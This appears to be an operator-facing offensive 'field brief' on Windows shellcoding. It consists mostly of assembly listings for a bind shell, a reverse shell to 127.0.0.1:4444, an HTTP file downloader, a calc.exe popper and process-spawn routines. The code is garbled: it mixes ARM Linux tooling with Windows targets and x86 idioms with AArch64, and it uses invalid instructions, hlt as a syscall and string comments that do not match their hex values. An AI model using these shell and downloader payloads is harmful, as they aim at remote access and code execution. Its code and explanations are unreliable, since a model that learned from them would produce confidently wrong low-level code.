Exploit // Build and Adapt

Windows Shellcoding

Windows Shellcoding is presented here as an operator-facing field brief. It focuses on why the topic matters during real offensive work, where it changes decision-making, and which public references are worth keeping close while validating or reporting it.

field briefoperator referencecurated public sources

Why this topic matters

Windows Shellcoding matters because it changes how an operator frames the problem, chooses validation steps and decides what evidence is strong enough to keep. In real work, weak handling of this topic leads to wasted time, noisy testing and softer findings.

This brief treats windows shellcoding as a reusable field reference. The focus is on attack surface, decision points, practical workflow and the public material that is worth keeping nearby when you need to execute, verify or explain the subject under pressure.

Core coverage

The points below capture the main workflows, concepts, tools and operator decisions associated with windows shellcoding.

  • Arm makefile
  • Arm hello world
  • Arm bind shell shellcode
  • Arm http downloader shellcode
  • Arm reverse shell shellcode
  • Arm SMB download shellcode
  • Arm "pop calc.exe" shellcode
  • Arm process-spawn shellcode
  • X64 makefile
  • X64 hello world shellcode

Commands and snippets

CC := arm-linux-gnueabihf-gcc
NASM := nasm
LD := arm-linux-gnueabihf-ld

ASM_FILE := shellcode.asm
OBJ_FILE := shellcode.o
BIN_FILE := shellcode.bin

.PHONY: all clean

all: $(BIN_FILE)

$(BIN_FILE): $(OBJ_FILE)
    $(LD) -o $@ $<

$(OBJ_FILE): $(ASM_FILE)
    $(NASM) -f win32 -o $@ $<

clean:
    rm -f $(OBJ_FILE) $(BIN_FILE)
.section .text
.global _start

_start:
    ; Aufruf von MessageBoxA
    mov x0, xzr                 ; Set X0 to 0 (NULL)
    mov w1, 0x6f57206f          ; "oW o"
    mov w2, 0x6c6c6548          ; "leH"
    mov w3, 0x646c726f          ; "drlO"
    mov x4, sp                  ; pointer to the message in X4
    str w1, [x4], #4            ; push the value onto the stack (message)
    str w2, [x4], #4
    str w3, [x4], #4
    mov x0, sp                  ; pointer to the message in X0
    str x0, [x4], #8            ; Push-pointer to the message
    mov x0, xzr                 ; Set X0 to 0 (NULL)
    mov x1, x0                  ; Set X1 to 0 (NULL)
    mov x2, x0                  ; Set X2 to 0 (NULL)
    mov x3, x0                  ; Set X3 to 0 (NULL)
    mov w16, 0x7e82960d         ; MessageBoxA Adresse
    blr x16                     ; MessageBoxA aufrufen

    ; Programm beenden
    mov x0, xzr                 ; Set X0 to 0 (NULL)
    mov x1, xzr                 ; Set X1 to 0 (NULL)
    mov w16, 0x4c               ; Set X16 to 0x4c (ExitProcess)
    svc 0x00000000              ; Software-Interrupt
.section .text
.global _start

_start:
    ; Socket-Erstellung
    mov w0, wzr        ; sockfd = 0
    mov w1, 0x1        ; AF_INET
    mov w2, 0x1        ; SOCK_STREAM
    mov w3, 0x0        ; IPPROTO_TCP
    mov w8, 0x61       ; WSASocketA
    hlt 0x0            ; syscall
    mov w9, w0         ; sockfd

    ; Binden des Sockets
    mov w0, wzr        ; sockfd = 0
    mov w1, wzr        ; sin_zero = 0
    mov w2, 0x5c11     ; port
    mov w3, 0x7f000001 ; IP-Adresse
    mov x8, 0x63       ; bind
    hlt 0x0            ; syscall

    ; Socket in den Listening-Modus versetzen
    mov w0, wzr        ; sockfd = 0
    mov w1, w9         ; sockfd
    mov w2, 0x1        ; backlog
    mov x8, 0x6a       ; listen
    hlt 0x0            ; syscall

    ; Akzeptieren eingehender Verbindungen
    mov w0, wzr        ; sockfd = 0
    mov w1, w9         ; sockfd
    mov w2, wzr        ; *addr = 0
    mov w3, wzr        ; *addrlen = 0
    mov x8, 0x6c       ; accept
    hlt 0x0            ; syscall
    mov w9, w0         ; newsockfd

    ; Duplizieren von file descriptoren
    mov w0, wzr        ; sockfd = 0
    mov w1, 0xfffffff6 ; stdout
    mov w2, 0xffffffff ; current process
    mov x8, 0x5a       ; duplicate handle
    hlt 0x0            ; syscall

    mov w0, wzr        ; sockfd = 0
    mov w1, 0xfffffff6 ; stderr
    mov w2, 0xffffffff ; current process
    mov x8, 0x5a       ; duplicate handle
    hlt 0x0            ; syscall

    mov w0, wzr        ; sockfd = 0
    mov w1, 0xfffffff6 ; stdin
    mov w2, 0xffffffff ; current process
    mov x8, 0x5a       ; duplicate handle
    hlt 0x0            ; syscall

    ; redirect input and output to the sockets
    mov w0, wzr        ; sockfd = 0
    mov w1, 0xfffffff6 ; stdout
    mov w2, w9         ; newsockfd
    mov x8, 0x5a       ; duplicate handle
    hlt 0x0            ; syscall

    mov w0, wzr        ; sockfd = 0
    mov w1, 0xfffffff6 ; stderr
    mov w2, w9         ; newsockfd
    mov x8, 0x5a       ; duplicate handle
    hlt 0x0            ; syscall

    mov w0, wzr        ; sockfd = 0
    mov w1, 0xfffffff6 ; stdin
    mov w2, w9         ; newsockfd
    mov x8, 0x5a       ; duplicate handle
    hlt 0x0            ; syscall

    ; Ausführung einer Shell
    mov w0, wzr        ; lpEnvironment = 0
    mov w1, wzr        ; lpCommandLine = 0
    mov w2, wzr        ; lpApplicationName = 0
    mov x0, sp         ; lpStartupInfo
    mov w3, 0x10       ; dwProcessInformationSize
    mov x8, 0x60       ; CreateProcessA
    hlt 0x0            ; syscall

    ; Beenden des Shellcodes
    mov w0, 0x1        ; ExitProcess
    hlt 0x0            ; syscall
.section .text
.global _start

_start:
    b call_shellcode

shellcode:
    ; Laden von kernel32.dll Handle
    mov w0, wzr
    mov w1, wzr
    mov w2, wzr
    mov w3, wzr
    mov w4, wzr
    mov w5, wzr
    mov w0, 0x60
    ldr x1, [x5, x0, lsl 2]
    ldr x1, [x1, 0xC]
    ldr x1, [x1, 0x14]
    ldr w2, [x1]
    ldr w5, [x2, 0x10]

    ; Laden der Funktion URLDownloadToFileA
    sub sp, sp, #32
    mov w0, wzr
    mov w1, 0x6C6C644F
    mov w2, 0x646F632E
    mov w3, 0x6E776F64
    str w3, [sp, #16]
    str w2, [sp, #12]
    str w1, [sp, #8]
    mov x0, x5
    ldr x1, [x0]
    ldr x1, [x1, 0x10]
    blr x1
    mov w2, w0

    ; URLDownloadToFileA(NULL, "http://www.example.com/file.exe", "C:\path\to\save\file.exe", 0, NULL)
    mov w0, wzr
    str w0, [sp, #28]
    mov w1, 0x6578652E
    mov w2, 0x6C61632F
    mov w3, 0x746F702F
    mov w4, 0x5C657661
    str w4, [sp, #20]
    mov w4, 0x6C65642F
    str w4, [sp, #16]
    mov w4, 0x5C657661
    str w4, [sp, #12]
    mov w4, 0x4641505C
    str w4, [sp, #8]
    mov w4, 0x6576616F
    str w4, [sp, #4]
    mov x0, x5
    ldr x1, [x0]
    ldr x1, [x1, 0x10]
    blr x1

    ; Beenden des Shellcodes
    mov w0, wzr
    add w0, w0, #1
    mov w8, 0x80
    svc 0x0

call_shellcode:
    bl shellcode
.section .text
.global _start

_start:
    ; Socket-Erstellung
    mov w0, wzr
    mov w1, wzr
    mov w2, wzr
    mov w3, wzr
    mov w0, 0x61        ; WSASocketA
    mov w1, 0x1         ; AF_INET
    mov w2, 0x1         ; SOCK_STREAM
    mov w3, 0x0         ; IPPROTO_TCP
    mov w8, 0x2e        ; syscall
    svc 0x0

    ; Verbindungsherstellung
    mov w1, wzr
    sub sp, sp, #8
    str w1, [sp, #4]    ; sin_zero
    mov w2, 0x5c11      ; port (z.B. 4444)
    mov w3, 0x0100007f  ; IP-Adresse (z.B. 127.0.0.1)
    mov w4, sp          ; struct sockaddr *addr
    mov w0, 0x62        ; connect
    mov w1, w0          ; s
    mov w2, sp          ; sockaddr *name
    mov w3, 0x10        ; namelen
    mov w8, 0x2e        ; syscall
    svc 0x0

    ; Duplizieren von file descriptoren
    mov w0, wzr
    mov w1, wzr
    mov w2, wzr
    mov w0, 0x5a        ; duplicate handle
    mov w1, 0xfffffff6  ; stdout
    mov w2, 0xffffffff  ; current process
    mov w8, 0x2e        ; syscall
    svc 0x0

    mov w0, wzr
    mov w1, wzr
    mov w2, wzr
    mov w0, 0x5a        ; duplicate handle
    mov w1, 0xfffffff6  ; stderr
    mov w2, 0xffffffff  ; current process
    mov w8, 0x2e        ; syscall
    svc 0x0

    mov w0, wzr
    mov w1, wzr
    mov w2, wzr
    mov w0, 0x5a        ; duplicate handle
    mov w1, 0xfffffff6  ; stdin
    mov w2, 0xffffffff  ; current process
    mov w8, 0x2e        ; syscall
    svc 0x0

    ; Ausführung einer Shell
    mov w0, wzr
    sub sp, sp, #24
    str w0, [sp, #16]   ; lpEnvironment
    str w0, [sp, #12]   ; lpCommandLine
    str w0, [sp, #8]    ; lpApplicationName
    mov w1, sp          ; lpStartupInfo
    mov w2, 0x10        ; dwProcessInformationSize
    mov w0, 0x60        ; CreateProcessA
    mov w3, sp          ; lpProcessInformation
    mov w8, 0x2e        ; syscall
    svc 0x0

    ; Beenden des Shellcodes
    mov w0, wzr
    mov w0, 0x1         ; ExitProcess
    mov w8, 0x2e        ; syscall
    svc 0x0
.section .text
.global _start

_start:
    b call_shellcode

shellcode:
    ; Laden von kernel32.dll Handle
    mov x0, #0
    mov x1, #0
    mov x2, #0
    mov x3, #0
    mov x4, #0x60                 ; offset used to access the PEB object
    mov x5, #0x30                 ; offset used to access the PEB LDR data
    ldr x6, [x0, x4, lsl #2]      ; FS:[0x60] -> pointer to the PEB object
    ldr x6, [x6, x5]              ; PEB+0x30 -> pointer to the PEB LDR data
    ldr x6, [x6, #0xC]            ; PEB-LDR-Daten+0xC -> InLoadOrderModuleList
    ldr x6, [x6, #0x14]           ; Erstes Modul im InLoadOrderModuleList
    ldr x7, [x6]                  ; Modulgriff
    ldr x6, [x7, #0x10]           ; Modulgriff+0x10 -> Adresse der Kernel32.dll

    ; Laden der Funktion CopyFileA
    mov x0, #0
    ldr x1, =0x6C6C644F           ; "lldO"
    ldr x2, =0x646F632E           ; "doc."
    ldr x3, =0x6E776F64           ; "nwod"
    add x4, sp, #0                ; pointer to the function label on the stack
    stp x4, x4, [sp, #-16]!       ; store the function label on the stack
    stp x7, x7, [sp, #-16]!       ; store the module handle on the stack
    mov x4, x6                    ; Modulgriff in x4 speichern
    br x4                         ; Funktion aufrufen
    mov x7, x0                    ; Ergebnis in x7 speichern

    ; CopyFileA("C:\path\to\source.exe", "C:\path\to\destination.exe", FALSE)
    mov x0, #0
    stp x1, x7, [sp, #-16]!       ; store the file-path parameter on the stack
    ldr x1, =0x5C706174           ; "C:\pat"
    ldr x2, =0x746F5C65           ; "to\"
    ldr x3, =0x65646F68           ; "hode"
    ldr x4, =0x69732E65           ; "es.i"
    ldr x5, =0x6E6F6974           ; "ton"
    ldr x6, =0x6F647573           ; "sud"
    ldr x7, =0x656E6F6E           ; "non"
    stp x1, x7, [sp, #-16]!       ; store the file-path parameter on the stack
    mov x1, sp                    ; pointer to the file path on the stack
    stp x0, x0, [sp, #-16]!       ; NULL for the target directory
    mov x0, x6                    ; store the pointer to the file path in x0
    br x0                         ; Funktion aufrufen

    ; Beenden des Shellcodes
    mov x0, #0
    mov x7, #1
    svc 0x00000000

call_shellcode:
    bl shellcode
.section .text
.global _start

_start:
    b call_shellcode

shellcode:
    ; Laden von kernel32.dll Handle
    xor x0, x0
    xor x1, x1
    xor x2, x2
    xor x3, x3
    xor x4, x4
    mov w0, 0x60
    mov x19, xzr
    ldr x19, [x19, x0, lsl #3]
    ldr x19, [x19, x2, lsl #3]
    ldr x19, [x19, #0xC]
    ldr x19, [x19, #0x14]
    ldr x20, [x19]
    ldr x21, [x20, #0x10]

    ; Laden der Funktion GetProcAddress
    mov w0, xzr
    ldr w1, =0x45746547
    ldr w2, =0x41636F72
    ldr w3, =0x65726464
    mov x0, x21
    blr x0
    mov x22, x0

    ; Aufruf von GetModuleHandleA("user32.dll")
    xor x0, x0
    mov w1, xzr
    ldr w1, =0x64336C72
    ldr w2, =0x642E3233
    ldr w3, =0x6E695F72
    ldr w4, =0x65706D6F
    str x2, [sp, #-0x10]!
    str x21, [sp, #-0x8]!
    mov x0, x21
    blr x0

    ; Aufruf von GetProcAddress(user32.dll, "MessageBoxA")
    ldr w0, =0x41787374
    ldr w1, =0x4165576F
    ldr w2, =0x426F6F4D
    str x2, [sp, #-0x8]!
    mov x0, x22
    blr x0

    ; Aufruf von MessageBoxA(NULL, "Hello from Shellcode!", "Message", 0)
    mov w0, xzr
    ldr w1, =0x65736F4D
    ldr w2, =0x6568744F
    ldr w3, =0x20465045
    str x2, [sp, #-0x10]!
    mov x0, x0
    blr x0

    ; Aufruf von GetModuleHandleA("kernel32.dll")
    xor x0, x0
    mov w1, xzr
    ldr w1, =0x64336C72
    ldr w2, =0x642E3233
    ldr w3, =0x6E695F6B
    ldr w4, =0x65706D6F
    str x2, [sp, #-0x10]!
    str x21, [sp, #-0x8]!
    mov x0, x21
    blr x0

    ; Aufruf von GetProcAddress(kernel32.dll, "WinExec")
    ldr w0, =0x456E6957
    ldr w1, =0x63726574
    str x2, [sp, #-0x8]!
    mov x0, x22
    blr x0

    ; Aufruf von WinExec("calc.exe", SW_SHOW)
    mov w0, 0x00000005
    ldr w1, =0x6578652E
    ldr w2, =0x006C6163
    str x2, [sp, #-0x10]!
    mov x0, x0
    blr x0

    ; Beenden des Shellcodes
    mov w0, xzr
    inc w0
    svc 0x00000000

call_shellcode:
    bl shellcode
.section .text
.global _start

_start:
    b call_shellcode

shellcode:
    ; Laden von kernel32.dll Handle
    mov x0, #0
    mov x1, #0
    mov x2, #0
    mov x3, #0
    mov x4, #0x60                 ; offset used to access the PEB object
    mov x5, #0x30                 ; offset used to access the PEB LDR data
    ldr x6, [x0, x4, lsl #2]      ; FS:[0x60] -> pointer to the PEB object
    ldr x6, [x6, x5]              ; PEB+0x30 -> pointer to the PEB LDR data
    ldr x6, [x6, #0xC]            ; PEB-LDR-Daten+0xC -> InLoadOrderModuleList
    ldr x6, [x6, #0x14]           ; Erstes Modul im InLoadOrderModuleList
    ldr x7, [x6]                  ; Modulgriff
    ldr x6, [x7, #0x10]           ; Modulgriff+0x10 -> Adresse der Kernel32.dll

    ; Laden der Funktion CreateProcessA
    mov x0, #0
    ldr x1, =0x73736552           ; "Ress"
    ldr x2, =0x726F6341           ; "Acor"
    ldr x3, =0x64647265           ; "edrd"
    add x4, sp, #0                ; pointer to the function label on the stack
    push {x4}                     ; store the function label on the stack
    push {x7}                     ; store the module handle on the stack
    mov x4, x6                    ; Modulgriff in x4 speichern
    bx x4                         ; Funktion aufrufen
    mov x7, x0                    ; Ergebnis in x7 speichern

    ; Vorbereiten der CREATE_PROCESS_DEBUG_FLAG-Option
    mov x3, #0x01

    ; Erstellen der STARTUPINFO-Struktur
    mov x0, #0
    mov x1, x0             ; lpReserved
    mov x2, x0             ; lpDesktop
    mov x3, x0             ; lpTitle
    mov x4, x0             ; dwX
    mov x5, x0             ; dwY
    mov x6, x0             ; dwXSize
    mov x7, x0             ; dwYSize
    mov x8, x0             ; dwXCountChars
    mov x9, x0             ; dwYCountChars
    mov x10, x0            ; dwFillAttribute
    mov x11, x0            ; dwFlags
    mov x12, x0            ; wShowWindow
    mov x13, x0            ; cbReserved2
    mov x14, x0            ; lpReserved2
    mov x15, x0            ; hStdInput
    mov x16, x0            ; hStdOutput
    mov x17, x0            ; hStdError
    mov x18, #0x30         ; cb
    add x19, sp, #0x20    ; lpStartupInfo

    ; Erstellen der PROCESS_INFORMATION-Struktur
    mov x0, #0
    mov x1, x0            ; hThread
    mov x2, x0            ; hProcess
    add x3, sp, #0x38    ; lpProcessInformation

    ; Aufruf von CreateProcessA(NULL, "demo.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE | CREATE_DEFAULT_ERROR_MODE | CREATE_BREAKAWAY_FROM_JOB, NULL, NULL, lpStartupInfo, lpProcessInformation)
    mov x0, x3            ; bInheritHandles
    mov x1, x0            ; lpThreadAttributes
    mov x2, x0            ; lpProcessAttributes
    mov x3, x0            ; lpEnvironment
    mov x4, x0            ; lpCurrentDirectory
    mov x5, x0            ; lpCommandLine
    ldr x6, =0x6578652E   ; lpApplicationName
    mov x7, x0            ; dwCreationFlags
    mov x8, x0            ; lpProcessInformation
    ldr x9, [x19]         ; lpStartupInfo
    mov x10, x0           ; lpThreadAttributes
    mov x11, x0           ; lpSecurityAttributes
    mov x12, x0           ; dwStackSize
    mov x13, x0           ; dwFlags
    mov x14, x0           ; lpStartAddress
    mov x15, x0           ; lpParameter
    mov x16, x0           ; bInheritHandle
    mov x17, x0           ; lpBaseAddress
    mov x18, x0           ; lpModuleName
    bx x7                 ; Funktion aufrufen

    ; Beenden des Shellcodes
    mov x0, #0
    mov x8, #0x80
    svc #0x80

call_shellcode:
    bl shellcode

Curated public references